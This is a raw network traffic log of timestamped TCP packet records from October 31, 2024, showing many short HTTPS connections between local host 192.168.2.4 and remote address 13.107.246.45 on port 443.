Oct 31, 2024 11:28:26.251296997 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.251338959 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.251838923 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.251838923 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.251857996 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.251873970 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.252132893 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.252157927 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.252177954 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.252223015 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.253089905 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.253102064 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.253360987 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.253376961 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.253803015 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.253808975 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.255148888 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.255188942 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.255263090 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.255485058 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.255497932 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.262934923 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.263242960 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.263297081 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.263303041 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.263333082 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.263356924 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.263452053 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.263495922 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.263575077 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.263593912 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.263607979 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.263612986 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.265285015 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.265300989 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.265327930 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.265332937 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.269495010 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.269515991 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.269609928 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.269768000 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.269778013 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.270701885 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.270716906 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.270811081 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.270898104 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.270912886 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.382853985 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.382924080 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.383034945 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.383279085 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.383301973 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.383322954 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.383328915 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.386428118 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.386476994 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.386629105 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.386794090 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:26.386809111 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.985532999 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.986531973 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:26.994479895 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.017034054 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.024734974 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.024749041 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.025238991 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.025245905 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.025480032 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.025486946 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.025840998 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.025845051 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.026050091 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.026077032 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.026410103 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.026417017 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.026866913 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.026875019 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.027237892 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.027242899 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.126353979 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.130553961 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.130584955 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.134408951 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.134416103 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.149173021 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.149245024 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.149302006 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.149849892 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.150525093 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.150616884 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.151194096 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.151194096 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.151211023 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.151220083 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.151293039 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.151298046 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.151336908 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.151343107 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.153438091 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.153459072 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.153517008 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.153569937 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.153752089 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.153805017 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.155447006 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.155459881 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.155471087 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.155478954 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.171636105 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.171664953 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.171694040 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.171709061 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.227488995 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.227519989 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.227615118 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.240091085 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.240113020 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.260771990 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.260804892 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.260858059 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.260863066 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.260940075 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.261620998 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.261620998 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.261639118 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.261652946 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.445728064 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.445775986 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.445862055 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.497009993 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.497040033 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.497714996 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.497750998 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.497812986 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.497925043 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.497941971 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.500300884 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.500332117 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.500391006 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.500500917 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.500518084 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.501940012 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.501966000 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.502027035 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.502751112 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.502768993 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.975605965 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.976166964 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.976181984 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:27.976661921 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:27.976667881 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.105354071 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.105618000 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.105695963 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.105773926 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.105782032 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.105793953 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.105799913 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.108551025 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.108586073 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.108649015 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.108782053 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.108794928 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.226363897 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.226906061 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.226931095 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.227408886 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.227416039 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.232882023 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.233334064 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.233359098 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.233891964 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.233906984 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.267452955 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.267915010 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.267929077 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.268352985 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.268358946 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.270946026 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.271199942 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.271234035 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.271524906 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.271533012 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.355302095 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.355330944 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.355395079 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.355434895 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.355477095 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.355685949 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.355703115 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.355712891 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.355719090 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.358685017 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.358717918 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.358814001 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.358989954 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.359004974 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.363013983 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.363205910 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.363251925 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.363272905 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.363310099 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.363343954 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.363356113 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.363365889 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.363370895 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.365452051 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.365489006 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.365588903 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.365727901 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.365745068 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.404898882 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.404973030 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.405031919 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.405246019 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.405261993 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.405280113 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.405287027 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.406809092 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.406872034 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.406938076 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.407048941 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.407048941 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.407064915 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.407074928 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.408171892 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.408200979 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.408268929 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.408406973 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.408415079 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.408946037 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.408973932 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.409040928 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.409133911 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.409146070 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.866486073 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.867027998 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.867046118 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:28.867492914 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:28.867497921 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.145071030 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.145101070 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.145145893 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.145220995 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.145241022 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.145478964 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.145489931 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.145508051 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.145513058 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.148202896 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.148231030 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.148334980 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.148494959 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.148507118 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.272903919 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.273493052 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.273516893 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.274038076 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.274043083 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.274135113 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.274657965 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.274666071 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.275058031 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.275063038 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.277127981 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.277342081 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.277514935 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.277523994 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.277681112 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.277698040 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.278028011 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.278033972 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.278327942 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.278333902 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.401088953 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.401108980 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.401163101 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.401196957 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.401236057 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.406830072 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.406927109 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.406970978 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.407047033 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.407047033 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.409001112 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.409001112 CET	49922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.409018040 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.409023046 CET	443	49922	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.409199953 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.409281015 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.409356117 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.409584045 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.409738064 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.409796000 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.410137892 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.410147905 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.410161972 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.410170078 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.411290884 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.411290884 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.411298990 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.411307096 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.412133932 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.412139893 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.412168026 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.412172079 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.414983988 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.414999008 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.415090084 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.416307926 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.416321993 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.416383028 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.416990042 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.417006969 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.417069912 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.417083025 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.417107105 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.417159081 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.417169094 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.417686939 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.417704105 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.417918921 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.417932034 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:29.417984962 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.418087959 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:29.418098927 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.228049040 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.228406906 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.228425980 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.229300976 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.232726097 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.232733011 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.233206034 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.233211994 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.233500957 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.233527899 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.234513044 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.246391058 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.246414900 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.247052908 CET	49925	443	192.168.2.4	13.107.246.45
